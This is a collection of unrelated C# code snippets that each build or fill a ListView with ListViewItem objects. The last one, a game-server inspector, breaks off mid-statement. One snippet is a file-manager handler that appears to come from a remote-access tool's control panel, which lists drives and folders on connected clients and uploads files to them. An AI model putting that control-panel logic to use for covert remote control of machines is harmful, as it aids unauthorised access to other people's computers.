public HelloForm() { this.Text = "Hello Form"; this.StartPosition = FormStartPosition.CenterScreen; this.FormBorderStyle = FormBorderStyle.FixedDialog; this.ControlBox = true; this.MaximizeBox = false; this.MinimizeBox = false; this.BackColor = Color.Red; lv = new ListView(); lv.Bounds = new Rectangle(new Point(10, 10), new Size(230, 200)); lv.View = View.Details; lv.CheckBoxes = true; lv.GridLines = true; lv.Columns.Add("Column 1", -2, HorizontalAlignment.Left); lv.Columns.Add("Column 2", -2, HorizontalAlignment.Left); lv.Columns.Add("Column 3", -2, HorizontalAlignment.Left); lv.Columns.Add("Column 4", -2, HorizontalAlignment.Center); ListViewItem item1 = new ListViewItem("name", 0); item1.Checked = true; item1.SubItems.Add("1"); item1.SubItems.Add("2"); item1.SubItems.Add("3"); lv.Items.Add(item1); this.Controls.Add(lv); }
private void RssGetting() { string rssAddress = "http://www.lzbt.net/rss.php";//RSS地址 XmlDocument doc = new XmlDocument();//创建文档对象 try { doc.Load(rssAddress);//加载XML 包括 HTTP:// 和本地 } catch (Exception ex) { MessageBox.Show(ex.Message);//异常处理 } XmlNodeList list = doc.GetElementsByTagName("item"); //获得项 foreach (XmlNode node in list) //循环每一项 { XmlElement ele = (XmlElement)node; //添加到列表内 ListViewItem item = new ListViewItem(); item.Content=ele.GetElementsByTagName("title")[0].InnerText;//获得标题 item.Tag = ele.GetElementsByTagName("link")[0].InnerText;//获得联接 mainRssList.Items.Add(item); //添加结束 } }
protected override void OnCreate (Bundle savedInstanceState) { base.OnCreate (savedInstanceState); int paramLength = this.Intent.GetIntExtra (AlarmClock.ExtraLength, 0); if (Log.IsLoggable (Tag, LogPriority.Debug)) Log.Debug (Tag, "SetTimerActivity:onCreate=" + paramLength); if (paramLength > 0 && paramLength <= 86400) { long durationMillis = paramLength * 1000; SetupTimer (durationMillis); Finish (); return; } var res = this.Resources; for (int i = 0; i < NumberOfTimes; i++) { timeOptions [i] = new ListViewItem ( res.GetQuantityString (Resource.Plurals.timer_minutes, i + 1, i + 1), (i + 1) * 60 * 1000); } SetContentView (Resource.Layout.timer_set_timer); // Initialize a simple list of countdown time options. wearableListView = FindViewById<WearableListView> (Resource.Id.times_list_view); wearableListView.SetAdapter (new TimerWearableListViewAdapter (this)); wearableListView.SetClickListener (this); }
private void cmdGet_Click(object sender, EventArgs e) { try { //execute the GetRssFeeds method in out //FeedManager class to retrieve the feeds //for the specified URL reader.Url = txtURL.Text; reader.getFeed(); list = reader.rssItems; //list = reader //now populate out ListBox //loop through the count of feed items returned for (int i = 0; i < list.Count; i++) { //add the title, link and public date //of each feed item to the ListBox row = new ListViewItem(); row.Text = list[i].Title; row.SubItems.Add(list[i].Link); row.SubItems.Add(list[i].Date.ToShortDateString()); lstNews.Items.Add(row); } } catch (Exception ex) { MessageBox.Show(ex.ToString()); } }
public ListViewCommandEventArgs(ListViewItem item, object commandSource, CommandEventArgs originalArgs) : base(originalArgs) { _item = item; _commandSource = commandSource; string cmdName = originalArgs.CommandName; if (String.Compare(cmdName, ListView.SelectCommandName, true, CultureInfo.InvariantCulture) == 0) { _commandType = ListViewCommandType.Select; } else if (String.Compare(cmdName, ListView.EditCommandName, true, CultureInfo.InvariantCulture) == 0) { _commandType = ListViewCommandType.Edit; } else if (String.Compare(cmdName, ListView.UpdateCommandName, true, CultureInfo.InvariantCulture) == 0) { _commandType = ListViewCommandType.Update; } else if (String.Compare(cmdName, ListView.CancelEditCommandName, true, CultureInfo.InvariantCulture) == 0) { _commandType = ListViewCommandType.CancelEdit; } else if (String.Compare(cmdName, ListView.DeleteCommandName, true, CultureInfo.InvariantCulture) == 0) { _commandType = ListViewCommandType.Delete; } else { _commandType = ListViewCommandType.Custom; } }
public ListViewExam() { this.Text = "ListView 예제"; ListView lst = new ListView(); lst.Parent = this; lst.Dock = DockStyle.Fill; lst.View = View.Details; // 컬럼 정보가 출력 // 컬럼 해더 추가 lst.Columns.Add("국가", 70, HorizontalAlignment.Left); lst.Columns.Add("수도", 70, HorizontalAlignment.Center); lst.Columns.Add("대륙", 70, HorizontalAlignment.Right); // 데이터 추가 ListViewItem lvi_korea = new ListViewItem("대한민국"); lvi_korea.SubItems.Add("서울"); lvi_korea.SubItems.Add("아시아"); ListViewItem lvi_canada = new ListViewItem("캐나다"); lvi_canada.SubItems.Add("오타와"); lvi_canada.SubItems.Add("아메리카"); ListViewItem lvi_france = new ListViewItem("프랑스"); lvi_france.SubItems.Add("파리"); lvi_france.SubItems.Add("유럽"); lst.Items.Add(lvi_korea); lst.Items.Add(lvi_canada); lst.Items.Add(lvi_france); }
private void adicionarProdutosNaLista(List<Pedido> pedidosNaoPagos) { this.lstListaDePedidos.Items.Clear(); foreach (Pedido pedido in pedidosNaoPagos) { // 1. Adicionar o titulo do pedido ListViewItem listViewItemTituloPedido = new ListViewItem() { //Text = String.Format("{0} - ({1})", pedido.Id.ToString(), pedido.HorarioEntrada), Text = String.Format("[{0}]", pedido.HorarioEntrada), Name = pedido.Id.ToString(), Selected = true }; this.lstListaDePedidos.Items.Add(listViewItemTituloPedido); // Adicionar produtos do pedido foreach (ItemPedido item in pedido.ItensPedidos) { ListViewItem listViewItem = new ListViewItem() { Text = "-> " + item.Produto.Nome }; listViewItem.SubItems.Add(item.QtdProduto.ToString()); listViewItem.SubItems.Add(item.Valor.ToString("C")); this.lstListaDePedidos.Items.Add(listViewItem); } } this.txtValorTotalConta.Text = pedidosNaoPagos.Sum(p => p.ValorPedido).ToString("C"); }
public PercentageView(BiorhythmCalculator calculator) { this.calculator = calculator; calculator.Updated += new EventHandler(OnCalculatorUpdate); this.Title.Text = calculator.CurrentDate.ToShortDateString(); birthDateListItem = new ListViewItem(); daysOldListItem = new ListViewItem(); physicalListItem = new ListViewItem(); emotionalListItem = new ListViewItem(); intellectualListItem = new ListViewItem(); OnCalculatorUpdate(this, EventArgs.Empty); birthDateListItem.Description = "Your birthdate, tap to set"; this.Items.Add(birthDateListItem); this.Items.Add(daysOldListItem); this.Items.Add(physicalListItem); this.Items.Add(emotionalListItem); this.Items.Add(intellectualListItem); this.Click += new EventHandler(OnClick); }
public void AddItem(ListViewItem Item) { if (ItemAdded != null) { ItemAdded(Item); } base.Items.Add(Item); }
public MainForm () { ListViewItem listViewItem1 = new ListViewItem (new string [] { "de Icaza", "Miguel", "Somewhere"}, -1); SuspendLayout (); // // _listView // _listView = new ListView (); _listView.Dock = DockStyle.Top; _listView.FullRowSelect = true; _listView.Height = 97; _listView.Items.Add (listViewItem1); _listView.TabIndex = 0; _listView.View = View.Details; Controls.Add (_listView); // // _nameHeader // _nameHeader = new ColumnHeader (); _nameHeader.Text = "Name"; _nameHeader.Width = 75; _listView.Columns.Add (_nameHeader); // // _firstNameHeader // _firstNameHeader = new ColumnHeader (); _firstNameHeader.Text = "FirstName"; _firstNameHeader.Width = 77; _listView.Columns.Add (_firstNameHeader); // // _countryHeader // _countryHeader = new ColumnHeader (); _countryHeader.Text = "Country"; _countryHeader.Width = 108; _listView.Columns.Add (_countryHeader); // // _bugDescriptionLabel // _bugDescriptionLabel = new Label (); _bugDescriptionLabel.Location = new Point (8, 110); _bugDescriptionLabel.Size = new Size (280, 112); _bugDescriptionLabel.TabIndex = 2; _bugDescriptionLabel.Text = "The row in the listview should not have a focus rectangle drawn around it."; Controls.Add (_bugDescriptionLabel); // // Form1 // AutoScaleBaseSize = new Size (5, 13); ClientSize = new Size (292, 160); StartPosition = FormStartPosition.CenterScreen; Text = "bug #79253"; ResumeLayout (false); }
public void RemoveItem(ListViewItem Item) { if (ItemRemoved != null) { ItemRemoved(); } base.Items.Remove(Item); }
void MainForm_Load (object sender, EventArgs e) { for (int i = 0; i < 200; i++) { ListViewItem listViewItem = new ListViewItem (new string [] { "de Icaza", "Miguel", "Somewhere"}, 0); _listView.Items.Add (listViewItem); } }
void MainForm_Load (object sender, EventArgs e) { for (int i = 0; i < 10; i++) { ListViewItem item = new ListViewItem (); if ((i % 2) == 0) item.Checked = true; item.Text = "Item " + i; item.SubItems.Add ("subitem1"); item.SubItems.Add ("subitem2"); _listView.Items.Add (item); } }
private void AddToList(ListViewItem lvItem) { if (this._MCForm.lvErrorCollector.InvokeRequired) { AddToListCB d = new AddToListCB(AddToList); this._MCForm.lvErrorCollector.Invoke(d, new object[] { lvItem }); } else { this._MCForm.lvErrorCollector.Items.Insert(0, lvItem); } }
private void DiskImageProperies_Load(System.Object sender, System.EventArgs e) { Hashtable props = _disk.Properties(); ListViewItem li; foreach (DictionaryEntry de in props) { li = new ListViewItem((string)de.Key); li.SubItems.Add(string.Format("{0}", de.Value)); UIPropList.Items.Add(li); } }
static void Main (string [] args) { ListView entryList = new ListView (); entryList.Sorting = System.Windows.Forms.SortOrder.Descending; entryList.BeginUpdate (); entryList.Columns.Add ("Type", 100, HorizontalAlignment.Left); ListViewItem item = new ListViewItem (new string [] { "A" }); entryList.Items.Add (item); item = new ListViewItem (new string [] { "B" }); entryList.Items.Add (item); }
private void btnAdd_Click(object sender, EventArgs e) { if (txtNewTitle.Text.Trim().Length == 0) { Program.showMessageBox("Error! New titles can't be blank."); return; } if(Program.ValidateSpecialChars(txtNewTitle.Text)){ return; } ListViewItem item = new ListViewItem(txtNewTitle.Text.Trim()); lvwNewNames.Items.Add(item); }
public MForm8() { Text = "ListView"; Size = new Size(350, 300); List<Actress> actresses = new List<Actress>(); actresses.Add(new Actress("Jessica Alba", 1981)); actresses.Add(new Actress("Angelina Jolie", 1975)); actresses.Add(new Actress("Natalie Portman", 1981)); actresses.Add(new Actress("Rachel Weiss", 1971)); actresses.Add(new Actress("Scarlett Johansson", 1984)); ColumnHeader name = new ColumnHeader(); name.Text = "Name"; name.Width = -1; ColumnHeader year = new ColumnHeader(); year.Text = "Year"; SuspendLayout(); ListView lv = new ListView(); lv.Parent = this; lv.FullRowSelect = true; lv.GridLines = true; lv.AllowColumnReorder = true; lv.Sorting = SortOrder.Ascending; lv.Columns.AddRange(new ColumnHeader[] {name, year}); lv.ColumnClick += new ColumnClickEventHandler(ColumnClick); foreach (Actress act in actresses) { ListViewItem item = new ListViewItem(); item.Text = act.name; item.SubItems.Add(act.year.ToString()); lv.Items.Add(item); } lv.Dock = DockStyle.Fill; lv.Click += new EventHandler(OnChanged); sb = new StatusBar(); sb.Parent = this; lv.View = View.Details; ResumeLayout(); CenterToScreen(); }
public void method_0(FileSystemEventArgs fileSystemEventArgs_0) { foreach (ListViewItem item2 in this.listView1.Items) { if (item2.ToolTipText.CompareIgnoreCase(fileSystemEventArgs_0.FullPath)) { return; } } ListViewItem item = new ListViewItem(fileSystemEventArgs_0.Name, 0) { ToolTipText = fileSystemEventArgs_0.FullPath }; item.SubItems.Add(fileSystemEventArgs_0.ChangeType.ToString()); item.Tag = fileSystemEventArgs_0; this.listView1.Items.Add(item); }
public ListViewColumn GetColumnAt(int x, int y, out ListViewItem item, out ListViewItem.ListViewSubItem subItem) { subItem = null; item = ListView.GetItemAt(x, y); if (item == null) return null; subItem = item.GetSubItemAt(x, y); if (subItem == null) return null; for (int i = 0; i < item.SubItems.Count; i++) { if (item.SubItems[i] == subItem) return GetColumn(i); } return null; }
private void InitializeComponent() { this.Title.Text = "ListView example"; ImageList imgList = new ImageList(); imgList.Images.Add(base.GetType().Assembly, "HelloWorld.Properties.Resources.resources", "Happy"); imgList.Images.Add(base.GetType().Assembly, "HelloWorld.Properties.Resources.resources", "Smile"); imgList.Images.Add(base.GetType().Assembly, "HelloWorld.Properties.Resources.resources", "Tongue"); this.ImageList = imgList; ListViewItem listItem1 = new ListViewItem("Example item 1", 0, "Example item 1 selected"); ListViewItem listItem2 = new ListViewItem("Example item 2", 1, "Example item 2 selected"); ListViewItem listItem3 = new ListViewItem("Example item 3", 2, "Example item 3 selected"); Items.Add(listItem1); Items.Add(listItem2); Items.Add(listItem3); this.Click += new EventHandler(SettingsView_Click); }
private void dirBtn_Click(object sender, EventArgs e) { //select dir FolderBrowserDialog br = new FolderBrowserDialog(); if (br.ShowDialog() == DialogResult.OK) { //add files to listview lv.Items.Clear(); lv.BeginUpdate(); pre.Text = ""; begin.Text = "0"; string[] files = Directory.GetFiles(br.SelectedPath,"*.jpg"); foreach (string str in files) { ListViewItem lvi = new ListViewItem(); lvi.Text = str; lvi.SubItems.Add(""); lv.Items.Add(lvi); } lv.EndUpdate(); } }
internal void GetMSConfigXPRegistry() { string ThePath = @"SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg"; try { GlobalReg = Registry.LocalMachine.OpenSubKey(ThePath, true); if (GlobalReg.SubKeyCount != 0) { foreach (string SingleKey in GlobalReg.GetSubKeyNames()) { GlobalReg = Registry.LocalMachine.OpenSubKey(ThePath + @"\" + SingleKey, true); //---------------------------------------------------------------------------- string Entry = GlobalReg.GetValue("item", "item").ToString(); string command = GlobalReg.GetValue("Command", "Command").ToString(); string key = GlobalReg.GetValue("key", "key").ToString(); string hkey = GlobalReg.GetValue("hkey", "hkey").ToString(); if (hkey == "HKLM") { hkey = "HKEY_LOCAL_MACHINE"; } if (hkey == "HKCU") { hkey = "HKEY_CURRENT_USER"; } //---------------------------------------------------------------------------- GlobalString = GlobalGet.AnalyzeIt(command); GlobalEntry = new ListViewItem(); GlobalEntry.ImageIndex = GlobalImageCounter; GlobalImageLarg.Images.Add(Icon.FromHandle(GlobalGet.AHandle(GlobalString))); GlobalImageSmall.Images.Add(GlobalImageLarg.Images[GlobalImageCounter]); GlobalEntry.Text = Entry; GlobalEntry.SubItems.Add(command); GlobalEntry.SubItems.Add(hkey); GlobalEntry.SubItems.Add("Run"); GlobalEntry.SubItems.Add("Disabled By MSConfig.exe"); GlobalEntry.SubItems.Add(ThePath + @"\" + SingleKey); GlobalView.Items.Add(GlobalEntry); GlobalImageCounter++; } } } catch (System.Security.SecurityException MyExp) { MessageBox.Show("Sorry Man it looks like \n" + MyExp.Message + "\n" + MyExp.GrantedSet); Application.ExitThread(); Application.Exit(); } catch (ArgumentNullException MyEx) { MyEx.Message.Trim(); } catch (NullReferenceException MyEx) { MyEx.Message.Trim(); } catch (Exception MyEx) { MyEx.Message.Trim(); } }
public async void FileManager(Clients client, MsgPack unpack_msgpack) { try { switch (unpack_msgpack.ForcePathObject("Command").AsString) { case "getDrivers": { FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.toolStripStatusLabel1.Text = ""; FM.listView1.Items.Clear(); string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); for (int i = 0; i < driver.Length; i++) { if (driver[i].Length > 0) { ListViewItem lv = new ListViewItem(); lv.Text = driver[i]; lv.ToolTipText = driver[i]; if (driver[i + 1] == "Fixed") { lv.ImageIndex = 1; } else if (driver[i + 1] == "Removable") { lv.ImageIndex = 2; } else { lv.ImageIndex = 1; } FM.listView1.Items.Add(lv); } i += 1; } } break; } case "getPath": { FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; if (FM.toolStripStatusLabel1.Text.EndsWith("\\")) { FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1); } if (FM.toolStripStatusLabel1.Text.Length == 2) { FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\"; } FM.listView1.BeginUpdate(); // FM.listView1.Items.Clear(); FM.listView1.Groups.Clear(); FM.toolStripStatusLabel3.Text = ""; ListViewGroup groupFolder = new ListViewGroup("Folders"); ListViewGroup groupFile = new ListViewGroup("Files"); FM.listView1.Groups.Add(groupFolder); FM.listView1.Groups.Add(groupFile); FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray())); FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray())); // FM.listView1.Enabled = true; FM.listView1.EndUpdate(); FM.toolStripStatusLabel2.Text = $" Folder[{FM.listView1.Groups[0].Items.Count}] Files[{FM.listView1.Groups[1].Items.Count}]"; } break; } case "reqUploadFile": { FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString]; if (FD != null) { FD.Client = client; FD.timer1.Start(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "uploadFile"; await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName); msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName; ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes()); } break; } case "error": { FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; if (FM != null) { FM.listView1.Enabled = true; FM.toolStripStatusLabel3.ForeColor = Color.Red; FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString; } break; } } } catch { } }
/**************************************************************** ** 函 数 名:RefHumanInfo ** 功能描述:刷新表格 ** 输入参数:无 ** 输出参数:无 ** 返 回 值:无 ** 创 建 人:陶志强 ** 日 期:2013-4-22 ** 修 改 人: ** 日 期: ****************************************************************/ private unsafe void RefHumanInfo() { int i; int nTotleUsePoint; TStdItem StdItem; TStdItem * Item; TUserItem *UserItem; if ((PlayObject == null)) { return; } if (PlayObject.m_boNotOnlineAddExp) { EditSayMsg.Enabled = true; } else { EditSayMsg.Enabled = false; } EditSayMsg.Text = PlayObject.m_sAutoSendMsg; EditName.Text = PlayObject.m_sCharName; EditMap.Text = PlayObject.m_sMapName + "(" + PlayObject.m_PEnvir.sMapDesc + ")"; EditXY.Text = (PlayObject.m_nCurrX).ToString() + ":" + (PlayObject.m_nCurrY).ToString(); EditAccount.Text = PlayObject.m_sUserID; EditIPaddr.Text = PlayObject.m_sIPaddr; EditLogonTime.Text = (PlayObject.m_dLogonTime).ToString(); EditLogonLong.Text = ((HUtil32.GetTickCount() - PlayObject.m_dwLogonTick) / 60000).ToString() + " 分钟";//登陆时间(分)// (60 * 1000) EditLevel.Value = PlayObject.m_Abil.Level; EditGold.Value = PlayObject.m_nGold; EditPKPoint.Value = PlayObject.m_nPkPoint; EditExp.Value = PlayObject.m_Abil.Exp; EditMaxExp.Value = PlayObject.m_Abil.MaxExp; if (PlayObject.m_boTrainingNG) { EditNGLevel.Enabled = true; EditExpSkill69.Enabled = true; EditNGLevel.Value = PlayObject.m_NGLevel; // 20081005 内功等级 EditExpSkill69.Value = PlayObject.m_ExpSkill69; // 20081005 内功心法当前经验 } EditAC.Text = (HUtil32.LoWord(PlayObject.m_WAbil.AC)).ToString() + "/" + (HUtil32.HiWord(PlayObject.m_WAbil.AC)).ToString(); // 防御 EditMAC.Text = (HUtil32.LoWord(PlayObject.m_WAbil.MAC)).ToString() + "/" + (HUtil32.HiWord(PlayObject.m_WAbil.MAC)).ToString(); // 魔防 EditDC.Text = (HUtil32.LoWord(PlayObject.m_WAbil.DC)).ToString() + "/" + (HUtil32.HiWord(PlayObject.m_WAbil.DC)).ToString(); // 攻击力 EditMC.Text = (HUtil32.LoWord(PlayObject.m_WAbil.MC)).ToString() + "/" + (HUtil32.HiWord(PlayObject.m_WAbil.MC)).ToString(); // 魔法 EditSC.Text = (HUtil32.LoWord(PlayObject.m_WAbil.SC)).ToString() + "/" + (HUtil32.HiWord(PlayObject.m_WAbil.SC)).ToString(); // 道术 EditHP.Text = (PlayObject.m_WAbil.HP).ToString() + "/" + (PlayObject.m_WAbil.MaxHP).ToString(); EditMP.Text = (PlayObject.m_WAbil.MP).ToString() + "/" + (PlayObject.m_WAbil.MaxMP).ToString(); EditGameGold.Value = PlayObject.m_nGameGold; EditGameDiaMond.Value = PlayObject.m_nGAMEDIAMOND; // 金刚石 EditGameGird.Value = PlayObject.m_nGAMEGIRD; // 灵符 EditGamePoint.Value = PlayObject.m_nGamePoint; EditCreditPoint.Value = PlayObject.m_btCreditPoint; EditBonusPoint.Value = PlayObject.m_nBonusPoint; nTotleUsePoint = PlayObject.m_BonusAbil.DC + PlayObject.m_BonusAbil.MC + PlayObject.m_BonusAbil.SC + PlayObject.m_BonusAbil.AC + PlayObject.m_BonusAbil.MAC + PlayObject.m_BonusAbil.HP + PlayObject.m_BonusAbil.MP + PlayObject.m_BonusAbil.Hit + PlayObject.m_BonusAbil.Speed + PlayObject.m_BonusAbil.X2; EditEditBonusPointUsed.Value = nTotleUsePoint; CheckBoxGameMaster.Checked = PlayObject.m_boAdminMode; CheckBoxSuperMan.Checked = PlayObject.m_boSuperMan; CheckBoxObserver.Checked = PlayObject.m_boObMode; if (PlayObject.m_boDeath) { EditHumanStatus.Text = "死亡"; } else if (PlayObject.m_boGhost) { EditHumanStatus.Text = "下线"; PlayObject = null; } else { EditHumanStatus.Text = "在线"; } //身上物品 for (i = PlayObject.m_UseItems.GetLowerBound(0); i <= PlayObject.m_UseItems.GetUpperBound(0); i++) { UserItem = PlayObject.m_UseItems[i]; if (UserItem->wIndex == 0) { continue; } StdItem = *M2Share.UserEngine.GetStdItem(UserItem->wIndex); if (StdItem.Name == null) { GridUserItem.Items[i].SubItems[1].Text = ""; GridUserItem.Items[i].SubItems[2].Text = ""; GridUserItem.Items[i].SubItems[3].Text = ""; GridUserItem.Items[i].SubItems[4].Text = ""; GridUserItem.Items[i].SubItems[5].Text = ""; GridUserItem.Items[i].SubItems[6].Text = ""; GridUserItem.Items[i].SubItems[7].Text = ""; GridUserItem.Items[i].SubItems[8].Text = ""; GridUserItem.Items[i].SubItems[9].Text = ""; continue; } Item = &StdItem; M2Share.ItemUnit.GetItemAddValue(UserItem, Item); GridUserItem.Items[i].SubItems[1].Text = (HUtil32.SBytePtrToString(Item->Name, (int)Item->NameLen)); GridUserItem.Items[i].SubItems[2].Text = (UserItem->MakeIndex.ToString()); GridUserItem.Items[i].SubItems[3].Text = (string.Format("{0}/{1}", UserItem->Dura, UserItem->DuraMax)); GridUserItem.Items[i].SubItems[4].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->DC), HUtil32.HiWord(Item->DC))); GridUserItem.Items[i].SubItems[5].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->MC), HUtil32.HiWord(Item->MC))); GridUserItem.Items[i].SubItems[6].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->SC), HUtil32.HiWord(Item->SC))); GridUserItem.Items[i].SubItems[7].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->AC), HUtil32.HiWord(Item->AC))); GridUserItem.Items[i].SubItems[8].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->MAC), HUtil32.HiWord(Item->MAC))); GridUserItem.Items[i].SubItems[9].Text = (string.Format("{0}/{1}/{2}/{3}/{4}/{5}/{6}", UserItem->btValue[0], UserItem->btValue[1], UserItem->btValue[2], UserItem->btValue[3], UserItem->btValue[4], UserItem->btValue[5], UserItem->btValue[6])); } //背包 i = 0; GridBagItem.Items.Clear(); foreach (IntPtr pItem in PlayObject.m_ItemList) { UserItem = (TUserItem *)pItem; StdItem = *M2Share.UserEngine.GetStdItem(UserItem->wIndex); if (StdItem.Name == null) { GridBagItem.Items[i].SubItems[1].Text = ""; GridBagItem.Items[i].SubItems[2].Text = ""; GridBagItem.Items[i].SubItems[3].Text = ""; GridBagItem.Items[i].SubItems[4].Text = ""; GridBagItem.Items[i].SubItems[5].Text = ""; GridBagItem.Items[i].SubItems[6].Text = ""; GridBagItem.Items[i].SubItems[7].Text = ""; GridBagItem.Items[i].SubItems[8].Text = ""; GridBagItem.Items[i].SubItems[9].Text = ""; continue; } Item = &StdItem; M2Share.ItemUnit.GetItemAddValue(UserItem, Item); ListViewItem lvItem = GridBagItem.Items.Add(i.ToString()); lvItem.SubItems.Add(HUtil32.SBytePtrToString(Item->Name, Item->NameLen)); lvItem.SubItems.Add(UserItem->MakeIndex.ToString()); lvItem.SubItems.Add(string.Format("{0}/{1}", UserItem->Dura, UserItem->DuraMax)); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->DC), HUtil32.HiWord(Item->DC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->MC), HUtil32.HiWord(Item->MC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->SC), HUtil32.HiWord(Item->SC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->AC), HUtil32.HiWord(Item->AC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->MAC), HUtil32.HiWord(Item->MAC))); lvItem.SubItems.Add(string.Format("{0}/{1}/{2}/{3}/{4}/{5}/{6}", UserItem->btValue[0], UserItem->btValue[1], UserItem->btValue[2], UserItem->btValue[3], UserItem->btValue[4], UserItem->btValue[5], UserItem->btValue[6])); i++; } //仓库 i = 0; GridStorageItem.Items.Clear(); foreach (IntPtr pItem in PlayObject.m_StorageItemList) { UserItem = (TUserItem *)pItem; StdItem = *M2Share.UserEngine.GetStdItem(UserItem->wIndex); if (StdItem.Name == null) { GridStorageItem.Items[i].SubItems[1].Text = ""; GridStorageItem.Items[i].SubItems[2].Text = ""; GridStorageItem.Items[i].SubItems[3].Text = ""; GridStorageItem.Items[i].SubItems[4].Text = ""; GridStorageItem.Items[i].SubItems[5].Text = ""; GridStorageItem.Items[i].SubItems[6].Text = ""; GridStorageItem.Items[i].SubItems[7].Text = ""; GridStorageItem.Items[i].SubItems[8].Text = ""; GridStorageItem.Items[i].SubItems[9].Text = ""; continue; } Item = &StdItem; M2Share.ItemUnit.GetItemAddValue(UserItem, Item); ListViewItem lvItem = GridStorageItem.Items.Add(i.ToString()); lvItem.SubItems.Add(HUtil32.SBytePtrToString(Item->Name, Item->NameLen)); lvItem.SubItems.Add(UserItem->MakeIndex.ToString()); lvItem.SubItems.Add(string.Format("{0}/{1}", UserItem->Dura, UserItem->DuraMax)); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->DC), HUtil32.HiWord(Item->DC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->MC), HUtil32.HiWord(Item->MC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->SC), HUtil32.HiWord(Item->SC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->AC), HUtil32.HiWord(Item->AC))); lvItem.SubItems.Add(string.Format("{0}/{1}", HUtil32.LoWord(Item->MAC), HUtil32.HiWord(Item->MAC))); lvItem.SubItems.Add(string.Format("{0}/{1}/{2}/{3}/{4}/{5}/{6}", UserItem->btValue[0], UserItem->btValue[1], UserItem->btValue[2], UserItem->btValue[3], UserItem->btValue[4], UserItem->btValue[5], UserItem->btValue[6])); i++; } //#if HEROVERSION = 1 //判断是否为英雄版本的M2 try { if (PlayObject.m_MyHero == null) { return; } EditHeroName.Text = PlayObject.m_MyHero.m_sCharName; EditHeroMap.Text = PlayObject.m_MyHero.m_sMapName + "(" + PlayObject.m_PEnvir.sMapDesc + ")"; EditHeroXY.Text = (PlayObject.m_MyHero.m_nCurrX).ToString() + ":" + (PlayObject.m_MyHero.m_nCurrY).ToString(); EditHeroLevel.Value = PlayObject.m_MyHero.m_Abil.Level; EditHeroPKPoint.Value = PlayObject.m_MyHero.m_nPkPoint; EditHeroExp.Value = PlayObject.m_MyHero.m_Abil.Exp; EditHeroMaxExp.Value = PlayObject.m_MyHero.m_Abil.MaxExp; EditHeroLoyal.Value = ((THeroObject)(PlayObject.m_MyHero)).m_nLoyal; // 英雄的忠诚度(20080110) if (((THeroObject)(PlayObject.m_MyHero)).m_boTrainingNG) { EditHeroNGLevel.Enabled = true; EditHeroExpSkill69.Enabled = true; EditHeroNGLevel.Value = ((THeroObject)(PlayObject.m_MyHero)).m_NGLevel; // 20081005 内功等级 EditHeroExpSkill69.Value = ((THeroObject)(PlayObject.m_MyHero)).m_ExpSkill69; // 20081005 内功心法当前经验 } //身上物品 for (i = PlayObject.m_MyHero.m_UseItems.GetLowerBound(0); i <= PlayObject.m_UseItems.GetUpperBound(0); i++) { UserItem = PlayObject.m_UseItems[i]; if (UserItem->wIndex == 0) { continue; } StdItem = *M2Share.UserEngine.GetStdItem(UserItem->wIndex); if (StdItem.Name == null) { GridHeroUserItem.Items[i].SubItems[1].Text = ""; GridHeroUserItem.Items[i].SubItems[2].Text = ""; GridHeroUserItem.Items[i].SubItems[3].Text = ""; GridHeroUserItem.Items[i].SubItems[4].Text = ""; GridHeroUserItem.Items[i].SubItems[5].Text = ""; GridHeroUserItem.Items[i].SubItems[6].Text = ""; GridHeroUserItem.Items[i].SubItems[7].Text = ""; GridHeroUserItem.Items[i].SubItems[8].Text = ""; GridHeroUserItem.Items[i].SubItems[9].Text = ""; continue; } Item = &StdItem; M2Share.ItemUnit.GetItemAddValue(UserItem, Item); GridHeroUserItem.Items[i].SubItems[1].Text = (HUtil32.SBytePtrToString(Item->Name, (int)Item->NameLen)); GridHeroUserItem.Items[i].SubItems[2].Text = (UserItem->MakeIndex.ToString()); GridHeroUserItem.Items[i].SubItems[3].Text = (string.Format("{0}/{1}", UserItem->Dura, UserItem->DuraMax)); GridHeroUserItem.Items[i].SubItems[4].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->DC), HUtil32.HiWord(Item->DC))); GridHeroUserItem.Items[i].SubItems[5].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->MC), HUtil32.HiWord(Item->MC))); GridHeroUserItem.Items[i].SubItems[6].Text = (string.Format("{0}/{1}", HUtil32.LoWord(Item->SC), HUtil32.HiWord(Item->SC))); 